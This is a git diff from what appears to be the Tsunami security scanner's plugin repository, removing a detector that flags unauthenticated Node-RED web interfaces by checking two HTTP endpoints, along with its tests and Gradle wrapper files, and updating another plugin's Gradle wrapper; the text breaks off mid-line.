-dependencies { - implementation "com.google.flogger:flogger:${floggerVersion}" - implementation "com.google.flogger:google-extensions:${floggerVersion}" - implementation "com.google.flogger:flogger-system-backend:${floggerVersion}" - implementation "com.google.guava:guava:${guavaVersion}" - implementation "com.google.protobuf:protobuf-java:${protobufVersion}" - implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}" - implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}" - implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" - implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" - implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" - implementation "javax.inject:javax.inject:${javaxInjectVersion}" - implementation "org.jsoup:jsoup:${jsoupVersion}" - - testImplementation "com.google.truth:truth:${truthVersion}" - testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" - testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" - testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" - testImplementation "junit:junit:${junitVersion}" - testImplementation "org.mockito:mockito-core:${mockitoVersion}" -} diff --git a/google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index d64cd4917..000000000 Binary files a/google/detectors/exposedui/nodered/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/google/detectors/exposedui/nodered/gradlew b/google/detectors/exposedui/nodered/gradlew deleted file mode 100755 index 1aa94a426..000000000 --- a/google/detectors/exposedui/nodered/gradlew +++ /dev/null @@ -1,249 +0,0 @@ -#!/bin/sh - -# -# Copyright © 2015-2021 the original authors. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# https://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -############################################################################## -# -# Gradle start up script for POSIX generated by Gradle. -# -# Important for running: -# -# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is -# noncompliant, but you have some other compliant shell such as ksh or -# bash, then to run this script, type that shell name before the whole -# command line, like: -# -# ksh Gradle -# -# Busybox and similar reduced shells will NOT work, because this script -# requires all of these POSIX shell features: -# * functions; -# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», -# «${var#prefix}», «${var%suffix}», and «$( cmd )»; -# * compound commands having a testable exit status, especially «case»; -# * various built-in commands including «command», «set», and «ulimit». -# -# Important for patching: -# -# (2) This script targets any POSIX shell, so it avoids extensions provided -# by Bash, Ksh, etc; in particular arrays are avoided. -# -# The "traditional" practice of packing multiple parameters into a -# space-separated string is a well documented source of bugs and security -# problems, so this is (mostly) avoided, by progressively accumulating -# options in "$@", and eventually passing that to Java. -# -# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, -# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; -# see the in-line comments for details. -# -# There are tweaks for specific operating systems such as AIX, CygWin, -# Darwin, MinGW, and NonStop. -# -# (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt -# within the Gradle project. -# -# You can find Gradle at https://github.com/gradle/gradle/. -# -############################################################################## - -# Attempt to set APP_HOME - -# Resolve links: $0 may be a link -app_path=$0 - -# Need this for daisy-chained symlinks. -while - APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path - [ -h "$app_path" ] -do - ls=$( ls -ld "$app_path" ) - link=${ls#*' -> '} - case $link in #( - /*) app_path=$link ;; #( - *) app_path=$APP_HOME$link ;; - esac -done - -# This is normally unused -# shellcheck disable=SC2034 -APP_BASE_NAME=${0##*/} -# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit - -# Use the maximum available, or set MAX_FD != -1 to use that value. -MAX_FD=maximum - -warn () { - echo "$*" -} >&2 - -die () { - echo - echo "$*" - echo - exit 1 -} >&2 - -# OS specific support (must be 'true' or 'false'). -cygwin=false -msys=false -darwin=false -nonstop=false -case "$( uname )" in #( - CYGWIN* ) cygwin=true ;; #( - Darwin* ) darwin=true ;; #( - MSYS* | MINGW* ) msys=true ;; #( - NONSTOP* ) nonstop=true ;; -esac - -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar - - -# Determine the Java command to use to start the JVM. -if [ -n "$JAVA_HOME" ] ; then - if [ -x "$JAVA_HOME/jre/sh/java" ] ; then - # IBM's JDK on AIX uses strange locations for the executables - JAVACMD=$JAVA_HOME/jre/sh/java - else - JAVACMD=$JAVA_HOME/bin/java - fi - if [ ! -x "$JAVACMD" ] ; then - die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." - fi -else - JAVACMD=java - if ! command -v java >/dev/null 2>&1 - then - die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." - fi -fi - -# Increase the maximum file descriptors if we can. -if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then - case $MAX_FD in #( - max*) - # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC2039,SC3045 - MAX_FD=$( ulimit -H -n ) || - warn "Could not query maximum file descriptor limit" - esac - case $MAX_FD in #( - '' | soft) :;; #( - *) - # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC2039,SC3045 - ulimit -n "$MAX_FD" || - warn "Could not set maximum file descriptor limit to $MAX_FD" - esac -fi - -# Collect all arguments for the java command, stacking in reverse order: -# * args from the command line -# * the main class name -# * -classpath -# * -D...appname settings -# * --module-path (only if needed) -# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. - -# For Cygwin or MSYS, switch paths to Windows format before running java -if "$cygwin" || "$msys" ; then - APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) - CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) - - JAVACMD=$( cygpath --unix "$JAVACMD" ) - - # Now convert the arguments - kludge to limit ourselves to /bin/sh - for arg do - if - case $arg in #( - -*) false ;; # don't mess with options #( - /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath - [ -e "$t" ] ;; #( - *) false ;; - esac - then - arg=$( cygpath --path --ignore --mixed "$arg" ) - fi - # Roll the args list around exactly as many times as the number of - # args, so each arg winds up back in the position where it started, but - # possibly modified. - # - # NB: a `for` loop captures its iteration list before it begins, so - # changing the positional parameters here affects neither the number of - # iterations, nor the values presented in `arg`. - shift # remove old arg - set -- "$@" "$arg" # push replacement arg - done -fi - - -# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' - -# Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, -# and any embedded shellness will be escaped. -# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be -# treated as '${Hostname}' itself on the command line. - -set -- \ - "-Dorg.gradle.appname=$APP_BASE_NAME" \ - -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ - "$@" - -# Stop when "xargs" is not available. -if ! command -v xargs >/dev/null 2>&1 -then - die "xargs is not available" -fi - -# Use "xargs" to parse quoted args. -# -# With -n1 it outputs one arg per line, with the quotes and backslashes removed. -# -# In Bash we could simply go: -# -# readarray ARGS < <( xargs -n1 <<<"$var" ) && -# set -- "${ARGS[@]}" "$@" -# -# but POSIX shell has neither arrays nor command substitution, so instead we -# post-process each arg (as a line of input to sed) to backslash-escape any -# character that might be a shell metacharacter, then use eval to reverse -# that process (while maintaining the separation between arguments), and wrap -# the whole thing up as a single "set" statement. -# -# This will of course break if any of these variables contains a newline or -# an unmatched quote. -# - -eval "set -- $( - printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | - xargs -n1 | - sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | - tr '\n' ' ' - )" '"$@"' - -exec "$JAVACMD" "$@" diff --git a/google/detectors/exposedui/nodered/gradlew.bat b/google/detectors/exposedui/nodered/gradlew.bat deleted file mode 100644 index 93e3f59f1..000000000 --- a/google/detectors/exposedui/nodered/gradlew.bat +++ /dev/null @@ -1,92 +0,0 @@ -@rem -@rem Copyright 2015 the original author or authors. -@rem -@rem Licensed under the Apache License, Version 2.0 (the "License"); -@rem you may not use this file except in compliance with the License. -@rem You may obtain a copy of the License at -@rem -@rem https://www.apache.org/licenses/LICENSE-2.0 -@rem -@rem Unless required by applicable law or agreed to in writing, software -@rem distributed under the License is distributed on an "AS IS" BASIS, -@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -@rem See the License for the specific language governing permissions and -@rem limitations under the License. -@rem - -@if "%DEBUG%"=="" @echo off -@rem ########################################################################## -@rem -@rem Gradle startup script for Windows -@rem -@rem ########################################################################## - -@rem Set local scope for the variables with windows NT shell -if "%OS%"=="Windows_NT" setlocal - -set DIRNAME=%~dp0 -if "%DIRNAME%"=="" set DIRNAME=. -@rem This is normally unused -set APP_BASE_NAME=%~n0 -set APP_HOME=%DIRNAME% - -@rem Resolve any "." and ".." in APP_HOME to make it shorter. -for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi - -@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" - -@rem Find java.exe -if defined JAVA_HOME goto findJavaFromJavaHome - -set JAVA_EXE=java.exe -%JAVA_EXE% -version >NUL 2>&1 -if %ERRORLEVEL% equ 0 goto execute - -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. - -goto fail - -:findJavaFromJavaHome -set JAVA_HOME=%JAVA_HOME:"=% -set JAVA_EXE=%JAVA_HOME%/bin/java.exe - -if exist "%JAVA_EXE%" goto execute - -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. - -goto fail - -:execute -@rem Setup the command line - -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar - - -@rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* - -:end -@rem End local scope for the variables with windows NT shell -if %ERRORLEVEL% equ 0 goto mainEnd - -:fail -rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of -rem the _cmd.exe /c_ return code! -set EXIT_CODE=%ERRORLEVEL% -if %EXIT_CODE% equ 0 set EXIT_CODE=1 -if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% -exit /b %EXIT_CODE% - -:mainEnd -if "%OS%"=="Windows_NT" endlocal - -:omega diff --git a/google/detectors/exposedui/nodered/settings.gradle b/google/detectors/exposedui/nodered/settings.gradle deleted file mode 100644 index 6a54ff043..000000000 --- a/google/detectors/exposedui/nodered/settings.gradle +++ /dev/null @@ -1 +0,0 @@ -rootProject.name = 'exposed_nodered' diff --git a/google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetector.java b/google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetector.java deleted file mode 100644 index 60edbbf8c..000000000 --- a/google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetector.java +++ /dev/null @@ -1,155 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.nodered; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.net.http.HttpRequest.get; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects exposed NodeRED instances. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "NodeRedExposedUiDetector", - version = "0.1", - description = "Detects exposed NodeRED instances", - author = "Pierre Precourt (pprecourt@google.com)", - bootstrapModule = NodeRedExposedUiDetectorBootstrapModule.class) -public final class NodeRedExposedUiDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - - @Inject - NodeRedExposedUiDetector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().build(); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Starting detection: exposed NodeRED instances"); - DetectionReportList detectionReports = - DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - - logger.atInfo().log( - "NodeRedExposedUiDetector finished, detected '%d' vulns.", - detectionReports.getDetectionReportsCount()); - return detectionReports; - } - - /* - * Checks if the settings are accessible. The /settings page will either return a JSON content or - * a permission denied error depending on the configuration for authentication. - * Because /settings can be a pretty common endpoint, we want to ensure that this is a rednode - * instance whilst not really performing JSON parsing hence the pattern matching instead. - */ - private boolean settingsAreAccessible(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "settings"; - - try { - HttpResponse response = httpClient.send(get(targetUri).withEmptyHeaders().build()); - - return response.status().isSuccess() - && response - .bodyString() - .map( - body -> - body.contains("\"httpNodeRoot\"") - && body.contains("\"version\"") - && body.contains("\"workflow\"")) - .orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - return false; - } - } - - private boolean isNodeRedInstance(NetworkService networkService) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "/red/tours/welcome.js"; - - try { - HttpResponse response = httpClient.send(get(targetUri).withEmptyHeaders().build()); - - return response.status().isSuccess() - && response.bodyString().map(body -> body.contains("Welcome to Node-RED")).orElse(false); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - return false; - } - } - - private boolean isServiceVulnerable(NetworkService networkService) { - return isNodeRedInstance(networkService) && settingsAreAccessible(networkService); - } - - private DetectionReport buildDetectionReport( - TargetInfo scannedTarget, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(scannedTarget) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("NODERED_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed NodeRED instance") - .setRecommendation( - "Configure authentication or ensure the NodeRED instance is not exposed to the" - + " network. See" - + " https://nodered.org/docs/user-guide/runtime/securing-node-red for" - + " details") - .setDescription( - "NodeRED instance is exposed and can be used to compromise the system.")) - .build(); - } -} diff --git a/google/detectors/exposedui/nodered/src/test/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorTest.java b/google/detectors/exposedui/nodered/src/test/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorTest.java deleted file mode 100644 index df81fbcc1..000000000 --- a/google/detectors/exposedui/nodered/src/test/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorTest.java +++ /dev/null @@ -1,190 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.nodered; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Tests for {@link NodeRedExposedUiDetector}. */ -@RunWith(JUnit4.class) -public final class NodeRedExposedUiDetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - private static final String VULN_SETTINGS_PAGE = - "{\"httpNodeRoot\":\"/\",\"version\":\"3.1.5\",\"context\":{\"default\":\"memory\",\"stores\":[\"memory\"]},\"codeEditor\":{\"lib\":\"monaco\",\"options\":{}},\"markdownEditor\":{\"mermaid\":{\"enabled\":true}},\"libraries\":[{\"id\":\"local\",\"label\":\"editor:library.types.local\",\"user\":false,\"icon\":\"font-awesome/fa-hdd-o\"},{\"id\":\"examples\",\"label\":\"editor:library.types.examples\",\"user\":false,\"icon\":\"font-awesome/fa-life-ring\",\"types\":[\"flows\"],\"readOnly\":true}],\"flowFilePretty\":true,\"externalModules\":{},\"flowEncryptionType\":\"system\",\"diagnostics\":{\"enabled\":true,\"ui\":true},\"runtimeState\":{\"enabled\":false,\"ui\":false},\"functionExternalModules\":true,\"functionTimeout\":0,\"tlsConfigDisableLocalFiles\":false,\"editorTheme\":{\"palette\":{},\"projects\":{\"enabled\":false,\"workflow\":{\"mode\":\"manual\"}},\"languages\":[\"de\",\"en-US\",\"es-ES\",\"fr\",\"ja\",\"ko\",\"pt-BR\",\"ru\",\"zh-CN\",\"zh-TW\"]}}"; - private static final String VULN_TOUR_PAGE = "\"en-US\": \"Welcome to Node-RED 3.1!\","; - private static final Vulnerability EXPECTED_VULN = - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("NODERED_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed NodeRED instance") - .setRecommendation( - "Configure authentication or ensure the NodeRED instance is not exposed to the" - + " network. See" - + " https://nodered.org/docs/user-guide/runtime/securing-node-red for" - + " details") - .setDescription("NodeRED instance is exposed and can be used to compromise the system.") - .build(); - - private MockWebServer mockWebServer; - - @Inject private NodeRedExposedUiDetector detector; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - new NodeRedExposedUiDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_reportsVuln() throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(VULN_TOUR_PAGE)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(VULN_SETTINGS_PAGE)); - mockWebServer.start(); - - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(buildTargetInfo(forHostname(mockWebServer.getHostName()))) - .setNetworkService(httpServices.get(0)) - .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(EXPECTED_VULN) - .build()); - } - - @Test - public void detect_whenSettingsDenied_reportsNothing() throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(VULN_TOUR_PAGE)); - mockWebServer.enqueue(new MockResponse().setResponseCode(401).setBody("Unauthorized")); - mockWebServer.start(); - - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenIsNotNodeRed_reportsNothing() throws IOException { - mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody("Apache server")); - mockWebServer.start(); - - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenNonHttpNetworkService_ignoresServices() { - ImmutableList nonHttpServices = - ImmutableList.of( - NetworkService.newBuilder().setServiceName("ssh").build(), - NetworkService.newBuilder().setServiceName("rdp").build()); - assertThat( - detector - .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), nonHttpServices) - .getDetectionReportsList()) - .isEmpty(); - } - - @Test - public void detect_whenEmptyNetworkService_generatesEmptyDetectionReports() { - assertThat( - detector - .detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), ImmutableList.of()) - .getDetectionReportsList()) - .isEmpty(); - } - - private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } -} diff --git a/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/phpunit/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/phpunit/gradlew b/google/detectors/exposedui/phpunit/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/phpunit/gradlew +++ b/google/detectors/exposedui/phpunit/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/phpunit/gradlew.bat b/google/detectors/exposedui/phpunit/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/phpunit/gradlew.bat +++ b/google/detectors/exposedui/phpunit/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" 